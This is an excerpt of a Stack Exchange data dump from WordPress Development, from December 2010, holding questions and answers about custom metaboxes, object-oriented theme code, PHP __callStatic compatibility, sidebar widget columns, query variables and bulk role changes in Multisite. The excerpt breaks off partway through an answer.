  <row Id="5778" PostTypeId="2" ParentId="5750" CreationDate="2010-12-22T10:54:30.740" Score="11" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;Nic Warmenhoven:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Hehe, you're a newbie! We're gonna rip ya to shreds...!&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;j/k :)&lt;/strong&gt;  We offer warm welcome to all newbies here, glad to have you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this is the 3rd time I've heard this requirement, twice from clients and not again from you (and your client.) That tells me it's a reasonably common need.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20101222-055231.jpg&quot; alt=&quot;WordPress Custom Metabox showing Three (3) Dropdowns&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I liked your analysis so I decided to code up a class to address your 2nd point. I called it &lt;code&gt;LittlePromoBoxes&lt;/code&gt; because I can never get &lt;a href=&quot;http://en.wikipedia.org/wiki/Little_Boxes&quot; rel=&quot;nofollow&quot;&gt;this song&lt;/a&gt; out of my head, thanks to &lt;a href=&quot;http://www.youtube.com/watch?v=o7Ys9RkvxgI&quot; rel=&quot;nofollow&quot;&gt;them&lt;/a&gt;. Basically I use the class to encapsulate to otherwise avoid potential naming conflicts with the functions I'd need to write. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can put this class in your theme's &lt;code&gt;functions.php&lt;/code&gt; file or in a .PHP file of a plugin you might be writing &lt;em&gt;(but don't worry, it looks a lot more complex than it is.)&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first function &lt;code&gt;on_load()&lt;/code&gt; is a static function which I call at the end of the class declaration to initialize the three (3) hooks you'll need &lt;em&gt;(fyi static functions are essentially &lt;a href=&quot;http://stackoverflow.com/questions/902909/php-static-function&quot;&gt;functions related to the class&lt;/a&gt;, not the instance)&lt;/em&gt; : &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;code&gt;init&lt;/code&gt; hook to register the &lt;code&gt;promo-box&lt;/code&gt; post type, &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;code&gt;add_meta_boxes_post&lt;/code&gt; hook to allow you to define the metabox, and&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;code&gt;wp_insert_post_data&lt;/code&gt; hook to allow you to capture the selected promo boxes and save to the database.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Each of those hooks reference another static function in the class &lt;em&gt;(these were the functions I was encapsulating by creating the class.)&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll skip describing the &lt;code&gt;action_init()&lt;/code&gt; function and my &lt;code&gt;make_labels()&lt;/code&gt; helper function assuming you know how to register a post type based on you question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;action_add_meta_boxes_post()&lt;/code&gt; function registers the metabox using the WordPress core function &lt;code&gt;add_meta_box()&lt;/code&gt; and I've commented it's parameters to explain why I passed what I passed for each. The callback function &lt;code&gt;the_little_promo_boxes_metabox()&lt;/code&gt; is of course another static function of the class and it is what actually displays the content in the metabox. It primarily uses the WordPress core function &lt;code&gt;wp_dropdown_pages()&lt;/code&gt; to display a list of promo boxes &lt;em&gt;(note that it will display other post types besides 'page' but only if they are marked as being &lt;code&gt;'hierarchical'=&amp;gt;true&lt;/code&gt; in their post type registration. Why only hierarchical? Because that's the way they wrote it, that's why! :)&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since we're showing three (3) dropdowns we need to give each a unique ID in the HTML (&lt;code&gt;&quot;promo_box_{$i}&quot;&lt;/code&gt;) but the same name with square brackets (&lt;code&gt;'promo_boxes[]'&lt;/code&gt;) so that PHP will collect them into an array inside &lt;code&gt;$_POST&lt;/code&gt; variable &lt;em&gt;(which WordPress accesses for us; you'll see how in a minute)&lt;/em&gt;. And of course we need to set the selected value (&lt;code&gt;(empty($promo_boxes[$i]) ? 0 : $promo_boxes[$i])&lt;/code&gt;) if indeed one of the values had previously been selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also used the WordPress core function &lt;code&gt;get_post_type_object()&lt;/code&gt; to show how to get the labels from a post type, and also using  the WordPress core function &lt;code&gt;get_post_meta()&lt;/code&gt; to retrieve an array of promo box IDs from using the custom field key '_promo_boxes' which I'll show you have to save next &lt;em&gt;(note I used a preceding underscore in the name &lt;code&gt;'_promo_boxes'&lt;/code&gt; which causes WordPress to hide from the standard custom field UI when the user is editing the post.)&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last function to describe before you see the code is &lt;code&gt;filter_wp_insert_post_data()&lt;/code&gt; which receives the existing post data in the first parameter (&lt;code&gt;$data&lt;/code&gt;) and the contents of the &lt;code&gt;$_POST&lt;/code&gt; array thanks to WordPress as the second parameter (&lt;code&gt;$postarr&lt;/code&gt;). Inside this function we call the WordPress core function &lt;code&gt;update_post_meta()&lt;/code&gt; and extract the promo boxes array (&lt;code&gt;$postarr['promo_boxes']&lt;/code&gt;) to save to the custom field value for the key &lt;code&gt;'_promo_boxes'&lt;/code&gt; for the post specified by the &lt;code&gt;$_POST&lt;/code&gt; array (i.e. &lt;code&gt;$postarr['ID']&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, here's the code for the &lt;code&gt;LittlePromoBoxes&lt;/code&gt; class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class LittlePromoBoxes {&#xA;  static function on_load() {&#xA;    add_action('init',array(__CLASS__,'action_init'));&#xA;    add_action('add_meta_boxes_post',array(__CLASS__,'action_add_meta_boxes_post'));&#xA;    add_filter('wp_insert_post_data',array(__CLASS__,'filter_wp_insert_post_data'),10,2);&#xA;  }&#xA;  static function action_init() {&#xA;    register_post_type('promo-box',array(&#xA;      'labels'          =&amp;gt; self::make_labels('Promo Box','Promo Boxes'),&#xA;      'public_queryable'=&amp;gt; false,&#xA;      'hierarchical'    =&amp;gt; true,  // IMPORTANT!!! wp_dropdown_pages() requires 'hierarchical'=&amp;gt;true&#xA;      'show_ui'         =&amp;gt; true,&#xA;      'query_var'       =&amp;gt; false,&#xA;      'supports'        =&amp;gt; array('title','editor','thumbnail','custom-fields'),&#xA;      'show_in_nav_menus'=&amp;gt;true,&#xA;      'exclude_from_search'=&amp;gt;true,&#xA;    ));&#xA;  }&#xA;  static function make_labels($singular,$plural=false,$args=array()) {&#xA;    if ($plural===false)&#xA;      $plural = $singular . 's';&#xA;    elseif ($plural===true)&#xA;      $plural = $singular;&#xA;    $defaults = array(&#xA;      'name'              =&amp;gt;_x($plural,'post type general name'),&#xA;      'singular_name'      =&amp;gt;_x($singular,'post type singular name'),&#xA;      'add_new'            =&amp;gt;_x('Add New',$singular),&#xA;      'add_new_item'      =&amp;gt;__(&quot;Add New $singular&quot;),&#xA;      'edit_item'          =&amp;gt;__(&quot;Edit $singular&quot;),&#xA;      'new_item'          =&amp;gt;__(&quot;New $singular&quot;),&#xA;      'view_item'          =&amp;gt;__(&quot;View $singular&quot;),&#xA;      'search_items'      =&amp;gt;__(&quot;Search $plural&quot;),&#xA;      'not_found'          =&amp;gt;__(&quot;No $plural Found&quot;),&#xA;      'not_found_in_trash'=&amp;gt;__(&quot;No $plural Found in Trash&quot;),&#xA;      'parent_item_colon' =&amp;gt;'',&#xA;    );&#xA;    return wp_parse_args($args,$defaults);&#xA;  }&#xA;  static function action_add_meta_boxes_post($post) {&#xA;    add_meta_box(&#xA;      'little-promo-boxes',   // Metabox Name, used as the &quot;id&quot; for a wrapping div&#xA;      'Little Promo Boxes',   // Metabox Title, visible to the user&#xA;      array(__CLASS__,'the_little_promo_boxes_metabox'), // Callback function&#xA;      'post',                 // Add to the Edit screen for Post Types of 'post'  &#xA;      'side',                 // Show it in the sidebar (if center then it would be 'normal'&#xA;      'low'                   // Show it below metaboxes that specify 'high'&#xA;    );&#xA;  }&#xA;  static function the_little_promo_boxes_metabox($post) {&#xA;    $pto = get_post_type_object('promo-box');&#xA;    $default_options = array(&#xA;      'post_type' =&amp;gt; 'promo-box',&#xA;      'show_option_none' =&amp;gt; &quot;Select a {$pto-&amp;gt;labels-&amp;gt;singular_name}&quot;,&#xA;    );&#xA;    $promo_boxes = get_post_meta($post-&amp;gt;ID,'_promo_boxes',true);&#xA;    for($i=0; $i&amp;lt;=2; $i++) {&#xA;      wp_dropdown_pages(array_merge($default_options,array(&#xA;        'id'       =&amp;gt; &quot;promo_box_{$i}&quot;,&#xA;        'name'     =&amp;gt; 'promo_boxes[]',&#xA;        'selected' =&amp;gt; (empty($promo_boxes[$i]) ? 0 : $promo_boxes[$i]),&#xA;      )));&#xA;    }&#xA;  }&#xA;  static function filter_wp_insert_post_data($data, $postarr) {&#xA;    update_post_meta($postarr['ID'],'_promo_boxes',$postarr['promo_boxes']);&#xA;    return $data;&#xA;  }&#xA;  static function get_promo_boxes($post=false) {&#xA;    static $promo_boxes=array();&#xA;    if (!$post)&#xA;      $post = $GLOBALS['post'];&#xA;    if (!isset($promo_boxes[$post-&amp;gt;ID])) {&#xA;      $promo_boxes[$post-&amp;gt;ID] = get_post_meta($post-&amp;gt;ID,'_promo_boxes',true);&#xA;      $index = 0;&#xA;      foreach($promo_boxes[$post-&amp;gt;ID] as $promo_box_id) {&#xA;        $promo_boxes[$post-&amp;gt;ID][$index++] = (is_numeric($promo_box_id) ? get_post($promo_box_id) : false);&#xA;      }&#xA;    }&#xA;    return $promo_boxes[$post-&amp;gt;ID];&#xA;  }&#xA;  static function get_promo_box($number,$post=false) {&#xA;    $promo_boxes = self::get_promo_boxes($post);&#xA;    return $promo_boxes[$number-1];&#xA;  }&#xA;}&#xA;LittlePromoBoxes::on_load();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are still two (2) static functions not yet mentioned: &lt;code&gt;get_promo_boxes()&lt;/code&gt; and &lt;code&gt;get_promo_box()&lt;/code&gt;; these are helper functions to help you retrieve the posts of &lt;code&gt;post_type='promo-box'&lt;/code&gt; by their ordinal numbers 1..3.  But to make them more WordPress like here are two wrapper functions to add to your theme's &lt;code&gt;functions.php&lt;/code&gt; file &lt;em&gt;(note that you can pass a post as a parameter but you don't have to unless you are using a different post that the one in &lt;a href=&quot;http://codex.wordpress.org/The_Loop&quot; rel=&quot;nofollow&quot;&gt;The Loop&lt;/a&gt;):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_little_promo_boxes($post=false) {&#xA;  return LittlePromoBoxes::get_promo_boxes($post);&#xA;}&#xA;function get_little_promo_box($number,$post=false) {&#xA;  return LittlePromoBoxes::get_promo_box($number,$post);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you can call one or both of these functions in your &lt;code&gt;single.php&lt;/code&gt; theme file with code that might look like this &lt;em&gt;(this code could have been written in a loop but most WordPress themers seem to like to duplicate code so they can read it instead of eliminating redundancy. So, when in Rome...):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  $promo_boxes = get_little_promo_boxes();&#xA;  if (isset($promo_boxes[1]))&#xA;    echo '&amp;lt;div id=&quot;promo-box1&quot; class=&quot;promo-box&quot;&amp;gt;' . get_the_title($promo_boxes[1]-&amp;gt;ID) . '&amp;lt;/div&amp;gt;';&#xA;  if (isset($promo_boxes[2]))&#xA;    echo '&amp;lt;div id=&quot;promo-box2&quot; class=&quot;promo-box&quot;&amp;gt;' . get_the_title($promo_boxes[2]-&amp;gt;ID) . '&amp;lt;/div&amp;gt;';&#xA;  if (isset($promo_boxes[3]))&#xA;    echo '&amp;lt;div id=&quot;promo-box3&quot; class=&quot;promo-box&quot;&amp;gt;' . get_the_title($promo_boxes[3]-&amp;gt;ID) . '&amp;lt;/div&amp;gt;';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-12-22T23:53:24.543" LastActivityDate="2010-12-22T23:53:24.543" CommentCount="4" />
  <row Id="5779" PostTypeId="2" ParentId="5777" CreationDate="2010-12-22T11:27:36.327" Score="17" ViewCount="" Body="&lt;h2&gt;Speed&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;My current base theme has 13 classes. When I build a new theme, I either use these classes as they are or I extend them. That system makes the process of building a new theme very, very fast.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Tight scopes&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I rarely need global variables, because everything my code has to know is hidden in class members. So I’m able to share a variable between two very different filters or actions without the risk of collision with poorly written plugins.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Maintenance&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Each class is one file. If I need to update a client’s theme, I just update some files. Whatever happens inside the classes is up to me as long as I offer the same API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example: above the &lt;code&gt;comment_form();&lt;/code&gt; call, I use a simple action:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;do_action( 'load_comment_class' );&#xA;comment_form();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Which&lt;/em&gt; comment class will be loaded decides my controller. What exactly &lt;em&gt;happens&lt;/em&gt; inside the comment class decides the individual class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this with a pure procedural approach and you’re going nuts. :)&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Readability&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;It is so much easier to reread and &lt;em&gt;understand&lt;/em&gt; your own code some months later if you have separated everything by its task.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Some examples for useful class hierarchies&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;Meta_Box&lt;/code&gt; -&gt; extended by &lt;code&gt;Shortdesc_Meta_Box&lt;/code&gt; and &lt;code&gt;Simple_Checkbox_Meta_Box&lt;/code&gt; -&gt; extended by &lt;code&gt;Sidebar_Switch&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;User_Profile_Addon&lt;/code&gt; -&gt; extended by &lt;code&gt;User_Profile_Checkbox&lt;/code&gt; (see &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3255/adding-properties-to-user-profile-and-displaying-in-list/6210#6210&quot;&gt;Question 3255&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Comment_Form&lt;/code&gt; -&gt; extended by &lt;code&gt;{$theme_name}_Comment_Form&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="73" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-01-02T05:13:41.017" LastActivityDate="2011-01-02T05:13:41.017" CommentCount="16" />
  <row Id="5780" PostTypeId="1" CreationDate="2010-12-22T12:17:59.763" Score="1" ViewCount="201" Body="&lt;p&gt;I have a class that handles AJAX requests for my plugin. The class has a __callStatic wrapper for all actions, which subsequently calls non-static methods for each action, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class TP_AJAX_wrapper {&#xA;&#xA; public static function __callStatic( $name, $args = null ) {&#xA;  check_ajax_referer( 'tp_ajax_nonce' );&#xA;&#xA;  $out = array();&#xA;&#xA;  try {&#xA;   $res = call_user_func( array( __CLASS__, $name ) );&#xA;  } catch(Exception $e) {&#xA;   $out['error'] = $e-&amp;gt;getMessage();&#xA;  }&#xA;&#xA;  $out['responseStatus'] = $res ? 'ok' : 'null';&#xA;  $out['response'] = $res;&#xA;&#xA;  echo json_encode($out);&#xA;&#xA;  die();&#xA; }&#xA;&#xA; protected static function someAction() {&#xA;  return array( 'someValue' =&amp;gt; 3 );&#xA; }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I have an array of actions which I initialize using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ( $ajax_actions as $action ) {&#xA;    add_action ( 'wp_ajax_tp_'.$action, array( 'TP_AJAX_wrapper', $action ) );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works great for PHP 5.3+, but fails miserably on older versions.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Warning&lt;/strong&gt;:  call_user_func_array() [function.call-user-func-array]: First argument is expected to be a valid callback, 'TP_AJAX_wrapper::someAction' was given in &lt;strong&gt;/path/to/wordpress/wp-includes/plugin.php&lt;/strong&gt; on line &lt;strong&gt;395&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Since it's written in a plugin, used on all sorts of hosts, some of which support PHP 5.3, others which don't, I have to make it a little more flexible. What I can't figure out is a way to emulate __callStatic (introduced in 5.3) for older versions of PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm looking for is a way to emulate the __callStatic wrapper for older versions. I've tried using __call as well, which is supposed to handle static method calls if the first argument is a classname, rather than an object, but I keep getting the same error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Halp?&lt;/p&gt;&#xA;" OwnerUserId="2113" LastEditorUserId="2113" LastEditorDisplayName="" LastEditDate="2010-12-22T12:24:57.593" LastActivityDate="2010-12-23T00:42:31.487" Title="__callStatic method handler passed to add_action causes bug in PHP &lt;5.3" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;ajax&gt;" AnswerCount="2" />
  <row Id="5781" PostTypeId="1" AcceptedAnswerId="5789" CreationDate="2010-12-22T12:25:22.710" Score="0" ViewCount="129" Body="&lt;p&gt;I'm having a custom sidebar called Footer. I'm displaying this sidebar using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar('Footer') ) : ?&amp;gt;  &#xA;    (maybe I should do something in this line?) :)&#xA;&amp;lt;?php endif; ?&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works smoothly, but almost every theme nowadays allow users to place their widgets in columns, just like there:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://kaptinlin.com/themes/striking/&quot; rel=&quot;nofollow&quot;&gt;http://kaptinlin.com/themes/striking/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My markup looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;footer&amp;gt;&#xA;   &amp;lt;li id=&quot;plugin-name&quot; class=&quot;widget widget_name&quot;&amp;gt;[widget]&amp;lt;/li&amp;gt;&#xA;   &amp;lt;li id=&quot;plugin-name&quot; class=&quot;widget widget_name&quot;&amp;gt;[widget]&amp;lt;/li&amp;gt;&#xA;   &amp;lt;li id=&quot;plugin-name&quot; class=&quot;widget widget_name&quot;&amp;gt;[widget]&amp;lt;/li&amp;gt;&#xA;&amp;lt;/footer&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I want it to look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;footer&amp;gt;&#xA;   &amp;lt;div id=&quot;column_1&quot;&amp;gt;&#xA;     &amp;lt;li id=&quot;plugin-name&quot; class=&quot;widget widget_name&quot;&amp;gt;[widget]&amp;lt;/li&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;   &amp;lt;div id=&quot;column_2&quot;&amp;gt;&#xA;      &amp;lt;li id=&quot;plugin-name&quot; class=&quot;widget widget_name&quot;&amp;gt;[widget]&amp;lt;/li&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;&amp;lt;/footer&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How to achieve that? (btw I don't want to give width/height to my plugins, I want to create containers for them only)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know what plugins will user activate so I'm not able to use direct plugin linking. I have to grab 1st plugin, 2nd plugin, 3rd plugin etc., but I see no code allowing me to in Codex.&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-05-26T22:12:52.687" Title="Dividing widgets in sidebar?" Tags="&lt;sidebar&gt;&lt;widgets&gt;" AnswerCount="2" CommentCount="5" />
  <row Id="5782" PostTypeId="2" ParentId="5780" CreationDate="2010-12-22T12:56:19.003" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://php.net/manual/en/keyword.class.php&quot; rel=&quot;nofollow&quot;&gt;http://php.net/manual/en/keyword.class.php&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Caution&lt;/strong&gt;&lt;br /&gt;PHP reserves all function names starting with __ as magical. It is recommended that you do not use function names with __ in PHP unless you want some documented magic functionality.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't know a huge deal about classes, but it might be the name spacing you're using for the function(s) causing a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could be wrong of course..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-12-22T12:56:19.003" CommentCount="4" />
  <row Id="5783" PostTypeId="2" ParentId="5775" CreationDate="2010-12-22T13:22:56.367" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;    add_filter('query_vars', 'p_query');&#xA;&#xA;    function p_query($qvars) {&#xA;        $qvars[] = 'i';&#xA;        return $qvars;&#xA;    }&#xA;&#xA;     &amp;lt;a href=&quot;&amp;lt;?= add_query_arg('i', '2', get_permalink(some_page_id)); ?&amp;gt;&quot;&amp;gt;Link&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and on the page I call&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$qvar = get_query_var('i');&#xA;echo $qvar;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;$qvar is empty!&lt;/p&gt;&#xA;" OwnerUserId="1147" LastActivityDate="2010-12-22T13:22:56.367" CommentCount="5" />
  <row Id="5785" PostTypeId="1" AcceptedAnswerId="5788" CreationDate="2010-12-22T14:45:46.950" Score="1" ViewCount="217" Body="&lt;p&gt;after successful import of ~4000 users and their blogs &amp;amp; posts from Liftype I have a rights problem: all users only are subscribers in their own blog. How can I mass change it to blog (not sitewide!) administrator privileges? All known functions I found in Codex gives Admin rights for the main blog, that's not what I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Uwe &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;What's wrong here? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;include 'wp-load.php';&#xA;global $wpdb;&#xA;for ( $blog_id = 393; $blog_id &amp;lt;=4091; $blog_id++ ){&#xA;&#xA;  $bloguser= get_users_of_blog ($blog_id);&#xA;    foreach ($bloguser as $usr) { // maybe there is more than one&#xA;        $user_id = $usr-&amp;gt;ID;&#xA;          echo 'Blog No. '.$blog_id.' is property of user: '.$user_id;  //control check&#xA;      if ($user_id != '') {&#xA;        $user = new WP_User($user_id);&#xA;        $user-&amp;gt;for_blog($blog_id);&#xA;        $user-&amp;gt;remove_role('editor');&#xA;        $user-&amp;gt;add_role('administrator');&#xA;      }&#xA;    }&#xA;}&#xA;echo 'Done!';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Code is well running, but there is no change to user's role.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: code typo edited, no changes to result&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@EAMann Are you sure, add_role is the right function? I understand this is for adding a new role to WP system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Updated the code again. Using update_user_meta. $check gives back 'administrator' (right!), but if I call the user's blog properties, the user is always 'editor'.&lt;/p&gt;&#xA;" LastActivityDate="2010-12-23T16:55:58.210" Title="Change user role after bulk-import" Tags="&lt;user-roles&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="5786" PostTypeId="2" ParentId="4725" CreationDate="2010-12-22T14:50:19.117" Score="0" ViewCount="" Body="&lt;p&gt;you have to include the /wp-includes/registration.php, if you use the code as a stand alone script.&#xA;Regards&#xA;Uwe&lt;/p&gt;&#xA;" LastActivityDate="2010-12-22T14:50:19.117" />
  <row Id="5787" PostTypeId="1" AcceptedAnswerId="8392" CreationDate="2010-12-22T15:05:57.853" Score="1" ViewCount="186" Body="&lt;p&gt;Right now, my login page shows the Wordpress logo. How do I change it to my logo?&lt;/p&gt;&#xA;" OwnerUserId="2115" LastActivityDate="2011-02-02T21:13:01.883" Title="How do I change the logo on the login page?" Tags="&lt;logo&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="1" />
  <row Id="5788" PostTypeId="2" ParentId="5785" CreationDate="2010-12-22T15:14:17.017" Score="0" ViewCount="" Body="&lt;p&gt;From your question, I'm assuming these are users on a specific blog within a MultiSite installation, correct?  In that case, do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to the blog for which you want to make these users administrators.&lt;/li&gt;&#xA;&lt;li&gt;Click on the &quot;Users&quot; button in the left-side admin sidebar&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This will present you with a display of about 20 users at a time (the display is paged)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Click the checkbox next to the users you wish to promote&lt;/li&gt;&#xA;&lt;li&gt;At the top of the list is a dropdown box that says &quot;Change role to...&quot; - Select &quot;Administrator&quot; from this select box&lt;/li&gt;&#xA;&lt;li&gt;Click the &quot;Change&quot; button to the right of the select box&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You'll have to do this for each page of users, and with 4000 users you'll have about 160 pages of results.  But it's doable.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Update&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;If you want some specific code, I recommend looking at the &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.2/wp-includes/capabilities.php#L363&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;WP_User&lt;/code&gt;&lt;/a&gt; class.  This class defines two methods that you'd need to use iteratively: &lt;code&gt;for_blog()&lt;/code&gt; and &lt;code&gt;add_role()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, you'll need to loop through your users based either on their IDs or usernames.  Consider this &lt;strong&gt;&lt;em&gt;untested&lt;/em&gt;&lt;/strong&gt; example code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ids = [1,2,3,4];&#xA;foreach($ids as $id) {&#xA;    $user = new WP_User($id);&#xA;    $user-&amp;gt;for_blog( ... user's blog id ... );&#xA;    $user-&amp;gt;remove_role('subscriber');&#xA;    $user-&amp;gt;add_role('administrator');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By default, the &lt;code&gt;add_role()&lt;/code&gt; method of the &lt;code&gt;WP_User&lt;/code&gt; class will act on the current blog ... you use &lt;code&gt;for_blog()&lt;/code&gt; to switch to a specific blog before running the &lt;code&gt;add_role()&lt;/code&gt; method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you have the ids of your users and the ids of the blogs they're supposed to be administrators for, you can loop through them pretty easily and set them up as administrators for their specific sites.&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-12-23T16:27:09.610" LastActivityDate="2010-12-23T16:27:09.610" CommentCount="10" />
  <row Id="5789" PostTypeId="2" ParentId="5781" CreationDate="2010-12-22T15:50:45.753" Score="1" ViewCount="" Body="&lt;p&gt;Use three sidebars an let them float. Anything else will break depending on the widgets your users insert.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2010-12-22T15:50:45.753" CommentCount="1" />
  <row Id="5790" PostTypeId="2" ParentId="5777" CreationDate="2010-12-22T15:58:40.690" Score="12" ViewCount="" Body="&lt;p&gt;I can understand your confusion based on the example you provided.  That's really a poor way to use a class ... and just because a class is used, doesn't make a system OOP.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case of Hybrid, they're just using a class to namespace their functions.  Considering Hybrid is a theme &lt;em&gt;framework&lt;/em&gt;, this is done so that child themes can re-use function names without the developer having to worry about name collision.  In many cases, a theme framework (parent theme) is so complex, many child theme developers will never understand exactly what goes on under the hood.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Hybrid didn't use a class structure, child theme developers would need to know what all of the existing function calls were so they could avoid re-using names.  And yes, you could just prefix all of your functions with a unique slug, but that makes the code hard to read, hard to maintain, and inherently non-reusable should you develop further systems that want to make use of the same functionality.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;To Answer Your 